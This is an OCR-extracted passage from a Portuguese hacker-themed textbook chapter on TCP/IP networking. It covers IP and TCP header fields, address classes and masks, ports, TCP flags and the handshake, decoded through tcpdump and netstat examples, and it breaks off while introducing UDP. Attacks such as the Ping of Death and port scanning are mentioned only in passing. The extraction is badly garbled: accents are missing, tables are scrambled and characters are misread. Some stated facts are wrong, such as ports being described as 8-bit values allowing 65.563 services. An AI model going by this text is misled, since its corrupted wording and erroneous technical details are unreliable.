palavra forte, mas ver o estimado leitor que se aplica perfeitamente ao contexto em que empregada. Para os hackers, a tecnologia est a para ser estendida. Ou deturpada...
Este captulo nunca substituir qualquer um dos excelentes livros e artigos
especialmente escritos para revelar todos os meandros e facetas do protocolo
TCP/lP e sua utilizao prtica. Esperamos, pelo menos, que sirva como uma
introduo para esses recursos. Aps a leitura deste livro, recomendamos ao
leitor que se aprofunde no estudo desse protocolo e das tecnologias de rede
baseadas nele. Alm dos livros de Andrew Tannembaum e do Prof. Gabriel Torres (ambos chamados Redes de Computadores), j citados vrias vezes no decorrer do livro, recomendamos as seguintes publicaes:
~ Projeto e Arquitetura de Redes, de J.F.Dimarzio;
~ Intemetworking
com TCP/IP, de Doug Comer;
~ Aprenda TCP/IP em 14 dias, de Tim Parker;
~ Administrao de redes TCP/IP, de Craig Hunt;
~ TCP/IP Illustrated, volume 1, de w: Richard Stevens.
Na Internet, h excelentes recursos em portugus disponibilizados por pesquisadores de universidades brasileiras, empresas do setor e sites especializados.
Alguns bons trabalhos sobre redes e TCP/lP que recomendamos:
~ Apostila TCP/IP de CCUEC (www.dicas-l.unicamp.br/freinamentos/tcpip);
~ Notas de Aula TCP/IP, de Ricardo Ueda, Instituto de Matemtica e Estatstica da USP (www.ime.usp.br/-ueda/ldoc/notastcp.html).
1158

1
Redes II [

Universidade 2 Ano

E, em ingls, recomendamos:
~ TCP/IP Tutorial
and Technical
Overview,
IBM Red Books
(publib-b. boulder.ibm.com/redbooks.nsf/portals/N
etworking );
~ Netscape Open Directory (dmoz.org/Computers/Internet/Protocols).
H ainda na Internet, diversos grupos de discusso sobre redes. Dois dos
grupos, que os autores no s recomendam como tambm participam, so o
Dicas-L, hospedado na Unicamp (www.dicas-l.unicamp.br)
e mantido pelo
competentssimo Rubens Queiroz de Almeida, e o Redes-L, hospedado e mantido pela FAPESP (listas.ansp.br/mailman/listinfo/redes-l).
Por ltimo, sabemos que no Brasil existem diversas publicaes voltadas para
o usurio de informtica e o administrador de redes. Uma lista delas, tambm
prestigiadas pelos autores, :
~ In/o Exame
~ Revista do Linux
~ H4CK3R
~ Geek

~ PC Brasil

051 versus TCP/IP


Continuando de onde paramos no captulo 2, vamos analisar mais a fundo o
formato e o funcionamento de cada protocolo da famlia TCP/IP, como os
diferentes protocolos interagem entre si e quais as tecnologias envolvidas. O
TCP/lP uma coleo de protocolos presente na Internet. Na realidade, ambas
as entidades so a mesma coisa. Assim como impossvel dissociar o que
energia e o que matria (E=mc2), no h como precisar se o TCP/lP foi criado
para ser usado na Internet, ou se a Internet apareceu em decorrncia do
TCP/lp. A histria do ovo e a galinha...
O TCP/lP independente de plataforma. Suas especificaes so abertas e
livres de royalties. Por isso mesmo, acabou tomando-se de fato o padro da indstria mundial e, tambm por isso, usado para levar acessibilidade a computadores de todos os tipos e tamanhos, desde dispositivos de mo at mainframes.
A maior parte das publicaes costuma dizer que a famlia TCP/lP preenche
os requisitos de trabalho das camadas 3 a 4 do modelo de referncia OS!. A
afirmao correta, mas incompleta. Sabemos que cada uma das camadas do
modelo de referncia pode ser implementada com um protocolo diferente,
mesmo porque cada camada independente. Assim, em teoria possvel fazer
pacotes SPX (uma implementao proprietria da Novell) serem transportados por pacotes IP,em vez do IPX. Na prtica, o que vemos que os padres
abertos acabam sendo os comum ente usados, com raras excees como o
5MB/ClFS da IBM/Microsoft. Podemos, pois, montar um diagrama contendo as
sete camadas OSI e seus representantes no "mundo real":
1159
1 Redes 11

I Universidade H4CK3R I

Camadas dos protocolos de rede


051

Exemplo de aplicao

Aplicao

Mail, NFS, HTTP, 5MB

Apresentao

External Data Representation

Sesso

Remote Procedure

TCP/UDP

Transporte

TCP/UDP

IP

Rede

IP/ICMP

Ethernet

Conexo

Ethernet

Fsica

Fsica

Cabo de par tranado categoria

Na prtica

Aplicao

(XDR)

Calls (RPC)

Observe: na prtica, h aplicativos que fazem as funes das camadas 7,6 e 5.


Como so aplicativos externos, de implementao livre e que rodam na rea
do usurio, considera-se que todos eles estejam na camada de aplicao.

Protocolo IP
o burro de carga da pilha TCP/lP o protocolo IP. atravs de pacotes IP
(ou seja, quadros de dados montados segundo o protocolo IP) que as mensagens das aplicaes sero transportadas entre as diferentes redes. O protocolo
tambm defllle como ser o esquema de endereamento para que cada mquina tenha um identificador nico em todas as redes. Tal endereamento
implementado com nmeros IP: um grupo de 32 bits, divididos em quatro grupos de oito (ou seja, quatro bytes) e que obedecem ao deflllido no protocolo IP.
Atente, portanto, para o fato de que protocolo IP,nmero IP e pacote IP no
so a mesma coisa!
Neste livro, falaremos exclusivamente de pacotes IP da verso 4, conhecido
como IPv4. As exigncias da Internet atualmente (notadamente desempenho,
segurana e principalmente indisponibilidade de nmeros IPv4) levaram ao
desenvolvimento de um novo protocolo chamado IPv6, que est sendo utilizado na Internet 2.
1160

1
Redes 11r

Universidade 2 Ano

o pacote IP
As informaes vindas das camadas superiores (em nosso caso, TCP e UDP)
devem ser inseridas em um pacote de dados para que sejam transmitidas segundo os procedimentos definidos no protocolo IP. Esse pacote montado
segundo um modelo tambm defInido no protocolo chamado de Datagrama IP.
Um datagrama IP uma seqncia serial de bytes, dos quais os 20 primeiros
compem o chamado cabealho IP.A aluso a telegramas no cacofonia: um
datagrama parece-se realmente com seu colega de "carne e osso" (ou antes, de
papel e tinta):
TOS(8)
Verso(4) I IHL(4) I
Identificao(16)
TTL(8)
I Protocolo(8)

Tamanho TotaL(16)
Fragment Offset(13)
Flags(3)

Nmero de Verificao(16)
Endereo IP de origem(32)
Endereo IP de destino(32)
Opes (se houver)
Enchimento

Dados

Os valores entre parnteses indicam o tamanho do campo em bits. No incio


do datagrama temos o campo verso. Como o nome j diz, ele indica a verso
do protocolo IP em uso. Possui quatro bits, o que daria 16 possibilidades de
verses diferentes do protocolo IP.Entretanto, atualmente temos apenas duas,
IPv4 e IPv6. O valor armazenado a numrico, portanto o IPv4 seria representado pelo nmero binrio 0100, e o IPv6, por 0110.
Observando o cabealho, nota-se que ele formado por linhas de 32 bits de
comprimento. O campo tamanho de cabealho (Internet Header Length ou
IHL) fornece o comprimento do cabealho em nmero de palavras de 32 bits.
Se no houver opes, o valor vlido para esse campo cinco. Havendo opes, esse valor pode crescer indefInidamente para acomodar todas.
Os roteadores so equipamentos dotados de certa inteligncia. Eles sabem,
por exemplo, qual das rotas ligadas a ele mais barata ou mais conflvel. O
campo tipo de servio (Type of Service ou ToS) permite dar aos roteadores
indicaes sobre como tratar o pacote e por onde envi-Io. Possui quatro flags:
minimizar atraso, maximizar desempenho,
maximizar confiabilidade e
minimizar custo. Baseado nesses flags, o roteador vai encaminhar o pacote IP
para uma determinada rota. A maioria das implementaes existentes, entretanto, ignora solenemente este campo, portanto seu uso pode no surtir o efeito desejado.
1161

] Redes 11

I Universidade

H4CK3R I

campo tamanho total guarda o comprimento do datagrama, em bytes,


englobando todo o cabealho mais o container de dados. Na teoria, 16 bits
poderiam indicar um tamanho de at 65.535 bytes. Mas um pacote IP de 64 KB
monstruoso. Na prtica, o tamanho padro dos pacotes 576 bytes. Depois
que a conexo for estabelecida e o sistema certificar-se de que todos os segmentos do caminho - principalmente o computador destino - suportam pacotes maiores, esse valor pode ser modificado. Alis, um dos mtodos mais antigos de negao de servio, ou DoS, era forar o envio de um pacote IP com um
tamanho de 64 kbytes. Se o destino no estivesse preparado para um pacote
to grande fatalmente seria derrubado. o conhecido Ping of Death.
s vezes necessrio fragmentar o pacote IP.Diversos motivos podem obrigar
um roteador a isso. Um deles rotear entre duas redes cuja camada 2 (data link)
tenha implementaes com tamanhos de payload diferentes. Por exemplo, entre
uma rede Ethernet, que possui um MTA(maximum transfer unit) de 1.500 bytes
para uma clula ATM com comprimento de 480 bytes. O pacote IP padro de
576 bytes no cabe na clula ATM.Deve-se quebrar o pacote IP em dois, portanto, para que possa trafegar nesse novo meio. Quando, l do outro lado, os pacotes
fragmentados sarem do ATMem direo a outro segmento Ethernet, deve haver
um mecanismo que possa desfragmentar novamente o pacote.
O campo identificao carrega um nmero que reconhece o pacote. na
verdade um contador circular, pois quando a contagem chega em 65535, retorna
a zero. Caso seja necessrio fragment-Io, todas as partes carregaro o mesmo
ID. Assim, impossvel confundi-Ios com fragmentos de outros pacotes. O
campo flags possui trs controles que indicam se um datagrama pode ou no
ser fragmentado e se houve fragmentao. O deslocamento de fragmentao (fragment offset) indica a posio daquele fragmento dentro do datagrama
original, e usado para a remontagem do mesmo. Cada unidade no fragment
offset representa um deslocamento de 64 bits no pacote original. Em pacotes
no fragmentados, o valor desse campo zero.
Um dos campos mais importantes do datagrama IP o TIL ou Time to Live.
Indica o nmero mximo de roteadores pelos quais o pacote pode passar.
Quando o valor chega a zero, o pacote descartado. Esse artifcio evita que
pacotes IP sem dono vaguem indefInidamente pela Internet.
O campo protocolo indica qual protocolo de camada 4 nosso pacote IP est
carregando - veja a RFC1700. O nmero de verificao (checksum) , como
vimos no pacote Ethernet (captulo 2, Redes 1), um nmero calculado na origem com base em todos os dados do pacote. Esse nmero recalculado no
destino e, caso sejam diferentes, o pacote descartado. Note que o rec1culo
ocorre cada vez que o pacote passa por um roteador. Como os dados do cabealho mudam durante o caminho, o checksum diferente em cada segmento
pelo qual passa.

1162 I
Redes
11[

Universidade 2 Ano

Logo a seguir, temos, fmalmente, os campos de endereo. Ambos possuem


um comprimento de 32 bits. Logo aps, temos o campo opes, que pode ter
de zero a vrios bytes. Dependendo do nmero de opes, pode ocupar vrias
linhas de 32 bits. O campo enchimento possui tamanho varivel e serve para
garantir que a ltima linha do campo opes tenha um comprimento de 32
bits, garantindo assim a consistncia do cabealho.
Vamos escovar um pouco os bits? Se voc tem acesso a algum Unix, podemos
ver o contedo dos pacotes IP com o comando tcpdump:
# tcpdump -i <interface> -1 -n -x port 80
ack 357 win
05:39:40.734407
192.168.1.11.2819
> 213.61.48.245.80:
6432 <nop,nop,timestamp
63228741037367659>
(DF)
4500 0034 3779 4000 4006 3b65 cOa8 010b
d53d 30f5 Ob03 0050 785c 4fcO 77aa ce8b
8010 1920 c9b6 0000 0101 080a 0060 7aba
3dd4 f96b

Esse comando analisa todos os pacotes que entram e saem da mquina. Voc
pode observar que o prprio tcpdump decodificou algumas coisas: hora em
que o pacote passou pela interface (5h39), endereos de origem (192.168.1.11)
e destino (213.61.48.245) e alguns flags de controle.
Logo abaixo, em notao hexadecimal, esto os bytes correspondentes ao
pacote IP completo. Cada algarismo representa 4 bits.
Poderamos
utilizar, em vez do tcpdump,
o programa
Ethereal
(www.ethereal.com). que tem verses para Windows e Unix e uma bonita e
funcional interface grfica. Os autores recomendam o excelente Ethereal para
diagnosticar praticamente todos os problemas envolvendo desempenho e erros em redes de computadores. Para o propsito deste exemplo, entretanto, a
sada do tcpdump vai servir.
Penteando um pouco, vemos que o primeiro dgito tem o valor 4, ou seja,
0100. Estamos falando, portanto, de um pacote IPv4. O segundo dgito 5, o
que indica que nosso pacote IP possui um cabealho com cinco linhas de 32
bits (ou seja, 20 bytes ou ainda 40 algarismos de nosso cabealho).
Opa! J sabemos quanto temos de cabealho. Separando-o, temos:
4500 0034 3779 4000 4006 3b65 cOaS OlOb d53d 30f5
Escovando os bits mais um pouquinho, podemos observar que:
~ Verso: 4
~ IHL: 5, ou seja, 20 bytes
~ TOS: 00
~ Tamanho total: 0034 ou 52 bytes
~ Identificao: 3779

1163 I

] Redes11

I Universidade

H4CK3R I

~ Flags e frn.gment Offset: 4000. As flags esto setadas como 0100, indicando que o pacote pode ser fragmentado e que no houve, ainda, fragmentao.
Os outros 12 bits esto zerados (no h fragmentao).
~ TIL: 40, ou 64 roteadores. Quando o pacote chegar ao 64 roteador ser
descartado, a no ser que o campo TIL seja reca1culado por algum outro
roteador no meio do caminho.

6. Cada protocolo de camada 4 transportado pelo IP


~ Protocolo:
possui um nmero que o identifica. No exemplo, o nmero 6 representa um
pacote TCP.
~ Checksum: 3b65
~ Endereo de origem: cO.a8.01.0b - ou, em decimal, 192.168.1.11
~ Endereo destino: d5.3d.30.f5 - ou, em decimal, 213.61.48.245

Endereamento IP
No captulo Redes I, vimos alguns fundamentos sobre numerao IP.Naquela
ocasio, dissemos que um nmero IP contm 4 bytes no formato:
000.000.000.000. Cada byte, sendo um valor de 8 bits, pode obviamente conter
um valor entre O e 255, como, por exemplo, 200.230.168.1. No deve haver
duas mquinas com o mesmo endereo IP em uma mesma rede, pois seria
impossvel rotear os pacotes at o destino correto.
Os nmeros IP identificam a interface de uma mquina qualquer em uma
rede. Mais do que isso, identificam em qual rede o n est conectado caso
vrias redes estejam ligadas entre si. Para ver qual o nmero IP designado para
a sua mquina, abra um terminal ou janela do DOS e d os comandos ifconfig
(no Linux), winipcfg (para a famlia Win9x) e ipconfig (para a famlia WinNT).
No Windows XP Home, este comando no est disponvel, portanto o leitor
dever procurar pelas Propriedades de Rede no Painel de Controle.
Qualquer que seja o comando, a sada ser parecida com esta:
ethO

Encapsulamento
Endereo

de

HW

do

Link:

Ethernet

00: 08: 74: B5: 64: 95

inet end.: 192.168.1.11


Broadcast:192.168.1.255
Mscara:255.255.255.0

Pode haver ou no mais informaes anexadas sada. Os endereos IP so


defmidos por interface. No exemplo mostrado (uma mquina Linux) aparecem
os dados relativos interface ethO. Se houvesse mais uma interface (ex. ethl)
existiriam nmeros IP para as duas interfaces. Outro dado que aparece o MAC
address. Mas e aqueles dois outros campos, Broadcast e Mscara? Para descobrir
para que ambos servem, temos de entender o conceito de classes de redes.

1164 I
Redes"[

2 Ano

Universidade

Redes e Hosts

o nmero IP pode ser dividido em duas partes que identificam a rede em que
esto conectados e seu endereo nico nessa rede. Por exemplo, no endereo
192.168.1.11, poderamos dizer que 192.168.1 representa a rede e 11 representa o 110 computador ligado a essa rede.
Mas espere a! Onde termina o nmero de rede e onde comea o nmero de
host? Para defInir isso, usamos um novo elemento, a mscara de rede. No endereo do nosso exemplo, a mscara de rede era 255.255.255.0. Para entender
como esse emaranhado de nmeros pode separar alguma coisa, vamos transformar tudo em binrios:
192.168.1.11
255.255.255.0

11000000.10101000.00000001.00001011
11111111.11111111.11111111.00000000

Agora, basta fazer uma operao lgica E. O resultado da operao indica a


rede (por isso ela chamada de mscara de rede). Na prtica, signiflca que
todas as posies da mscara que possuem 1 indicam que aquele bit do endereo pertence ao nmero da rede. Em nosso exemplo, a rede seria 192.168.1.0.
Nosso host fIcaria apenas com o nmero 11 para identiflc-Io nessa rede.
Mas como defInir a mscara correta? Para isso, todo o endereamento foi dividido em classes. No vamos entrar em detalhes do porqu foi dividido dessa forma,
mesmo porque irrelevante para os nossos objetivos. Basta saber que existem
cinco classes de endereos, e que cada uma possui a seguinte confIgurao:
o

Classe A

7 8

31

End. Host

G End. Rede[
o

7 8

End. Rede

Classe B

o
Classe C
Os

2 3

ITE

31

End. Host

23 24

31

End. Rede
]

End. Host

algarismos acima dos quadros representam a posio dos bits dentro do

endereo. Vemos que endereos de classe A possuem 24 bits reservados para


hosts e apenas 8 bits para redes. Isso nos d 256 redes diferentes, cada uma
com mais de 16 milhes de hosts. No caso da classe C, temos exatamente o
inverso: 16 milhes de redes, cada uma com 256 endereos de host possveis.
Na classe B meio a meio: 65.536 nmeros para cada lado.

1165 I

] RedesII

I Universidade

H4CK3R I

Dependendo da aplicao, usa-se um ou outro espao de endereamento.


Fazendo as contas, e levando em considerao os bits iniciais das classes (que
nunca mudam), temos a seguinte diviso:
Classe A: de 1.0.0.0 a 126.255.255.255
Classe B: de 128.0.0.0 a 191.255.255.255
Classe C: de 192.0.0.0 a 223.255.255.255

Eu no falei cinco classes? Sim, mas as duas restantes no possuem diviso de


hosts e redes. A classe D encerra os chamados Endereos de Multicast. Enquanto um endereo IP nico em toda a rede, pode haver diversas mquinas com
o mesmo endereo multicast. Ele serve para enviar pacotes comuns a todas
essas mquinas. Foi criado com a idia original de suportar streamming de
udio e vdeo. Pode-se identificar um endereo de multicast pelos bits iniciais
1110 ou, em decimal, 224. A classe E foi reservada para uso futuro, mas nunca
foi aproveitada. Com o advento do IPv6, provavelmente nunca ser. Inicia com
1111 em binrio, ou 240 em decimal.
Ainda falta descobrirmos o que o tal de Broadcast. Para tanto, vamos a
algumas convenes. Em geral, as interfaces de rede consideram o valor "tudo
zero" no endereo como a palavra "este", e o valor "tudo um" como "todos".
Lembrando que, nos bits de cada um dos quatro bytes do endereo IP, "tudo
zero" representado por O e "tudo um" por 255, temos:
~ 0.0.0.0 - Esta rede
~ a.b.O.O- A rede a.b
~ O.O.x.y- Estao x.y nesta rede
~ 255.255.255.255 - Todas as estaes
~ a.b.255.255 - Todas as estaes da rede a.b
Voltemos ao endereo de broadcast que vimos no tcpdump, 192.168.1.255.
Vimos que, aplicando a mscara de rede, conseguimos o endereo 192.168.1.0.
Este o endereo da rede 192.168.1. O zero no lmal do endereo indica este,
logo, poderamos decodificar "esta rede que se chama 192,168.1". J o 255 no
lmal do endereo de broadcast ("tudo um") indica "todas as mquinas da rede
192.168.1". Puxa, nem era to difcil...

Protocolo TCP
O companheiro inseparvel do IP e grande estrela da Internet o protocolo
TCP.Como a maioria dos servios disponveis baseia-se nele, devemos ter uma
noo de como o pacote TCP montado e como se comporta, para entender
como os ataques a esses servios funcionam.

1166 I
Redes
I1[

Universidade 2 Ano

o pacote TCP
Como vimos em Redes I e, rapidamente, no captulo sobre Unix, todos os
servios de Internet que usamos - HTTp, SMTp' POp, ICQ, KaZaA - ficam
"escutando" a rede e esperando por uma conexo para si. Essa conexo d-se
por meio de portas, que so nmeros atribudos aos servios em questo e
dependem do protocolo utilizado.A porta representada por um algarismo de
8 bits, portanto temos 65.563 possveis servios que usem o protocolo TCP
escutando a rede. Um exemplo clssico uma seo de e-mail. Quando se conecta
ao servidor de SMTP pela porta TCP 25, nosso programa preferido (os autores
usam Eudora e KMail) recebe dele uma string assim:
HELO srntp.seudorninio.com.br
MAIL FROM: usuario1@seudorninio.com.br
RCPT TO: destinatario@provedor.com.br
DATA
Date: Mon, 07 Apr 2003 12:16:35 -0500

(EST)

Frorn: ...

Cada mensagem ter um cabealho parecido com esse e vrios kbytes (s


vezes, Mbytes, dependendo de quantos dias voc ficou sem verificar sua correspondncia...). Como qualquer idiota pode ver (ei, eu posso ver!), impossvel
transportar todos os dados de seus e-mails (ou da pgina da Web, ou do MP3 do
KaZaA) em um nico pacote TCP. Portanto, a fragmentao o mecanismo
principal do protocolo.
O cabealho TCP tem normalmente 20 bytes e se parece com este aqui:
Porta de Destino(16)
Porta de Origem(16)
Nmero seqencial (32)
Nmero de Reconhecimento(32)
Flags(6)
Tamanho da janela(16)
Tam.(4) Reservado(6)
Verificador do TCP(16)
Ponteiro de Urgncia(16)
Enchimento
Opes (se houver!

Dados

Os campos Nmero seqencial, Reconhecimento,


Tamanho, Opes, Enchimento e Dados tm aplicaes idnticas s do protocolo IP. Os outros campos
tm aplicao especfica para o protocolo TCP e um deles, o camplo Flags, o
que faz com que o protocolo funcione - e o que os hackers usam para atac-Io.

11671
] Redes
II

I Universidade

H4CK3R

Vamos continuar escovando bits? A sada do comando tcpdump, que usamos


para estudar o pacote IP,era:
05:39:40.734407

6432

<nop,

nop,

192.168.1.11.2819
timestamp

6322874

>

ack

213.61.48.245.80:

1037367659>

357

win

(DF)

4500

0034

3779

4000

4006

d53d
8010

30f5 IOb03
1920
c9b6

0050
0000

785c
0101

3dd4

f96b

3b65
4fcO
080a

cOa8
77aa
0060

010b
ce8b
7aba

Observe os dados dentro do quadro. Esse o campo de dados do pacote IP.


Mas lembre-se: o pacote TCP est "envelopado" dentro do Ip, ento se separarmos os 20 bytes iniciais do campo de dados IP temos o cabealho TCP.
Ob03 0050 785c 4fcO 77aa ce8b 5010 1920 c9b6 0000
Os primeiros 2 bytes indicam a porta de origem. Ob03 2.819 em decimal.
uma porta maior que 1.024, ou no privilegiada, o que indica que o pacote
provavelmente!
originou-se de um software cliente. A porta-destino, 0050,
80 em decimal. Da, pode-se deduzir que este pacote:
~ Foi criado por um navegador Web, como o Mozilla.
~ Dirige-se a um servidor Web, no caso o Apache do Greenpeace.org
Os outros campos

tambm

;).

so reveladores:

~ Nmero seqencia1: 785c 4fcO. O nmero seqencial noTCP no se presta,


apenas, fragmentao. O protocolo TCP controla a ordem em que os pacotes
so recebidos e os ordena do destino, caso estejam fora de ordem. Alm disso,
se um pacote demora a chegar, a mquina-destino faz com a mquina-cliente o
mesmo que fazemos no McDonald's: pede pelo nmero.
~ Nmero de reconhecimento:
77aa ce8b. O computador-destino dos
pacotes sempre devolve um nmero de reconhecimento de um pacote anteriormente recebido. Esse nmero o seqencial do pacote recebido + 1.
~ Tamanho do cabealho: 5
~ Flags: 010, ou seja, em binrio 010000. Os flags so, em ordem, URG, ACK,
PSH, RST,SYN e FIN. Neste exemplo, vemos que o flag ACK est ligado.
~ Tamanho da janela: 1.920, em decimal 6.432. a quantidade de bytes
mxima que a origem pode manipular.
1 Sim, provavelmente. hackers podem alterar os nmeros das portas-destino dos pacotes enviados por
ele para fazer com que os sistemas de defesa pensem que sua mquina um inocente servidor de Internet
- e deixem passar o ataque...
1168

RedesII I

Universidade 2 Ano

~ Verificador: c9b6. o checksum do pacote TCP.


~ Ponteiro de urgncia: 0000. O protocolo TCP permite que certos dados
dentro do pacote possam "furar a ftla" e ser processados primeiro. A flag URG
indica que esses dados existem, e o ponteiro indica a posio, dentro da rea
de dados, em que tais pacotes se encontram. Em nosso pacote-exemplo, no h
nenhum dado urgente a processar.

Portas TCP
Diz-se que o TCP um protocolo orientado a conexo. Isso significa que no
importa os caminhos pelos quais o pacote IP ande: para o TCP no existe "mundo l fora". O TCP cria um canal virtual entre a origem e o destino, e esse canal
imune a influncias externas. A alegoria do cano perfeita: o TCP cria um
tubo entre a aplicao origem e a destino, e os dois lados "conversam" por ele.
Quem olhar por uma extremidade no ver roteadores, cabos, IPs, Ethernet,
placas de rede, nada disso. Ver apenas seu companheiro de conexo no outro
lado. Essa conexo s possvel porque existe o conceito de portas.
Vamos divagar um pouco. Voc j deve ter ido a algum bar ou restaurante
onde a cozinha no andar de cima e h elevadores para os diferentes tipos de
itens oferecidos no cardpio. As bebidas no podem trafegar no mesmo elevador dos pratos quentes porque esquentaro. Estes no devem trafegar no mesmo ambiente das saladas, porque as deixaro murchas e possivelmente
engorduradas. Sem falar nas sobremesas. Hipoteticamente, precisamos de, pelo
menos, quatro elevadores2.
Por outro lado, todas as mesas tm, tambm, nmeros. Se voc considerar que
os garons so os pacotes IP, as comandas podem servir como pacotes TCP.
Cada mesa "conecta-se" a um elevador por meio da comanda/TCP. A mesa 26
pode conectar-se ao elevador 4 e esperar uma sobremesa; a mesa 31, ao elevador 3 e esperar aquele Espaguete ao Vngoli.
Note que cada um dos elevadores do nosso restaurante presta-se a um servio diferente. Se o casal da mesa 4 quiser o servio completo, ter de se conectar,
em ordem, aos elevadores 1, 2, 3 e 4. O cafezinho um exemplo de servio
alternativo que vem pela mesma porta de outro: desceu pelo elevador de sobremesas. E a conta vem por uma porta desconhecida e misteriosa (no saiu de
elevador nenhum), estou achando que algum backdoor...
Voltando ao domnio dos computadores, voc pode atribuir qualquer porta a
qualquer servio. Mas existem sugestes para o uso delas, todas referenciadas
na RFC1700. Por exemplo, a porta 80 normalmente destinada aos servidores
Web ou HTTP.Quando voc abre uma pgina da Web e no diz em que porta
est, o seu navegador infere que para usar a porta 80. Voc pode montar um
servidorWeb e atribu-Io porta 12345, se quiser. Mas ter de informar a todos
os seus clientes que seu servidor usa essa porta.
2 voc j viu um restaurante organizado assim? Eu nunca. Minhas bebidas chegam sempre quentes...

1169 I
] Redes
II

I Universidade

H4CK3R I

Uma sesso TCP se parece com esta:


Porta Origem: 2337
Porta Destino: 80
Porta Origem: 80
Porta Destino: 2337

Observe: a porta do cliente o que chamamos de alta ou no privilegiada.


Ela maior que 1024 e normalmente fomecida pelo sistema operacional, que
no usa uma porta ftxa para cada aplicao, mas a prxima porta que estiver
disponvel. J a porta do servidor o que chamamos de baixa ou prioritria.
Essas portas, ao contrrio das do cliente, so deftnidas pelo IETF e normatizadas
pela RFC1700. Pense nos servios mais comuns que voc usa na Internet: FTP,
SMTP, DNS e HTTP.Suas portas, segundo a RFC1700, so, respectivamente, 21,
25,53 e 80. D uma olhada na lista completa em www.ietf.org/rfc.htmI.
H uma maneira fcil de ver quais portas esto sendo usadas. O comando
netstat, presente tanto no Windows como em todos os Unix, mostra todos os
aspectos do estado da conexo do computador com a rede. Emitir o comando
sem argumentos vai mostrar todas as conexes ativas (vou usar um exemplo
do Windows, desta vez, para no me chamarem de radical):
C: \>

NETSTAT

Conexes

ativas
Endereo

Estado

externo

Prato

Endereo

TCP

EST202: 1928

192.168.1.109

TCP

EST202

:2787

baym-cs41.mdc.chachucha.com:1863

ESTABLISHED

TCP

EST202:

2934

streamer013

TCP

EST202

:4065

TCP

EST202:

4068

local

xuxu.

c1ient.

ESTABLISHED

:netbios-ssn

.cache.
tatibi

gotorama.

com: http

CLOSE_WAIT

ta ti . com:

ftp

TIME_WAIT

ADSL145-4.babababa.com.ar:1346

ESTABLISHED

Experimente agora com as opes -na. A opo n diz ao netstat para no


resolver os nomes dos sites e servios, mostrando-os como nmero IP e de
portas. Observe a coluna endereo local. As milhares logo aps o sinal de ":"
so as portas pelas quais os aplicativos-cliente esto "escutando" e conversando com os servidores. J nos endereos externos, note que h servios sendo
disponibilizados por portas privilegiadas: netbios-ssn (139), http (80) e ftp (21).
As outras duas esto "escutando" em portas altas.
Como veremos nos captulos seguintes, saber quais portas esto ativas em
nosso computador primordial para que identillquemos possveis atividades
de hackers maliciosos. Por outro lado, conhecer as portas comuns e as ferramentas que as gerenciam pode facilitar as coisas para esses mesmos hackers.
1170

Redes11[

Universidade 2 Ano

05 bits de controle TCP


Para a maioria das aplicaes, os bits de controle do protocolo TCP so uma
parte significativa do trabalho de conexo e transporte. Cada um dos seis bits
presentes no campo Flags do pacote IP tem uma funo especfica e importante no estabelecimento, controle e gerenciamento da sesso. No captulo 2, Redes I, nos referimos a eles de forma rpida:
Quase todas as tcnicas de portscanning valem-se dos sinais (ou flags) TCp,
UDP ou ICMP trocados entre os programas que querem se conectar. Apenas
para referncia rpida, os sinais so estes, na ordem como aparecem nos flags:

~ URG (urgent)
Sina1izadorde urgncia;
~ ACK (acknowledge)
Indica que os pacotes anteriores foram aceitos no destino;
~ PSH (Push) Um tipo de "vlvula de descarga" ,acelera a transmisso para poder finaliz-Ia;
~ RST(reset) - Interrompe a conexo, devido a erros ou "queda de linha";
~ SYN (synchronize) - Tentativa de sincronizao entre portas;
~ FIN (finish) Finalizador de conexo, usado no fim da transmisso (no h mais dados);

Sem os flags de controle, nenhuma conexo pode ser estabelecida ou mantida.


Para isso, o protocolo TCP-IP se utiliza de um handshake bsico de trs etapas,
que abre a sesso de comunicao e sincroniza entre as duas portas os nmeros seqenciais dos pacotes TCP.Observe:
SYN+ SEOc

" ACK + SEOc e SYN + SEOs


ACK+ SEOc

Vamos usar o exemplo mais manjado de todos: um servidorWeb. O computador cliente deseja conectar-se ao servidor e obter dele a pgina principal
index.php. O cliente envia um pacote TCP ao servidor para a porta 80 com o
flag SYN ativado e com um nmero seqencial que marcar o incio da troca
de dados. Todos os pacotes que saem do cliente em direo ao servidor sero
seqncias em relao a esse primeiro, que vamos abreviar para SEQc O servidor (se estiver escutando naquela porta) vai responder com dois flags ativados:
o ACK,indicando que reconheceu e aceitou o pacote enviado, e um novo SYN,
solicitando que o cliente aceite o seu nmero seqenciaI (vamos cham-Io de
SEQs)'O campo nmero de reconhecimento que vai em direo ao cliente possui o SEQc e, no campo nmero seqenciaI, SEQs' O cliente, ento, responde
com um ACK + SEQs'indicando que eles podem iniciar a transferncia de dados sem problemas.

1171 I
] Redes
11

I Universidade

H4CK3R I

Como ambas as partes sabem qual o nmero seqencial do outro, fica fcil
pedir o reenvio de pacotes perdidos e ordenar os pacotes no destino. No
nem um pouco provvel que aqueles desorganizados, desordeiros e descarados pacotes IP tenham resolvido passear por lugares diferentes da Internet e
chegaram no destino em uma ordem diferente da estipulada.
O que acontece quando voc, no meio do carregamento da pgina, dica no
boto Parar do seu navegador? Neste momento, o software em questo manda
um pacote TCP para o servidor com o flag FIN ligado, como quem diz "pode
parar que no quero mais brincar". O bit RST usado para derrubar conexes
problemticas, negar tentativas no autorizadas ou incompletas de conexo
(por exemplo, a uma porta que no existe) e liberar a porta em questo, se
estiver em uso.
Esta a parte mais importante de nossos estudos sobre o protocolo TCP/lp.
Os hackers usam pesadamente os flags TCP para vasculhar nossas conexes e,
dependendo das respostas que o sistema operacional retorna, calcula ou infere
se a porta est aberta ou fechada, se existe proteo por firewall ou no e se
algumas vulnerabilidades detectveis por esse processo esto presentes.

Protocolo UDP
O TCP "carne e unha" com o Ip, e juntos eles so "pau pra toda obra". A
maioria dos servios oferecidos na Internet baseia-se nessa dupla dinmica
(puxa, que trocadilho ruim...). Mas h um outro protocolo que pode ser considerado o "amigo do peito" do IP.
H situaes em que toda a parafernlia de verificaes levadas a cabo pelo
TCP no so necessrias. Na maioria dessas situaes, elas at atrapalham.
Quando baixamos um programa da Internet ou uma msica pelo KaZaA (sem
pirataria, pessoa!!), queremos que eles estejam ntegros, de outro modo no
conseguiremos utiliz-Ios. Mas quando estamos ouvindo rdio ou vdeo pela
Internet, a ordem dos pacotes e mesmo sua confiabilidade j no so assim to
necessrias.
nesse contexto que entra em cena o User Datagram Protocol. Como o prprio nome diz, o UDP um datagrama configurvel pelo usurio. Seu cabealho muito simples, e cabe ao prprio programa definir as regras de conexo
e as informaes a serem trocadas entre as partes. A expresso no confivel
normalmente usada para descrev-Io, por no possuir formas de recuperao
de erros, mas isso uma mentira. O UDP serve para inmeros casos onde as
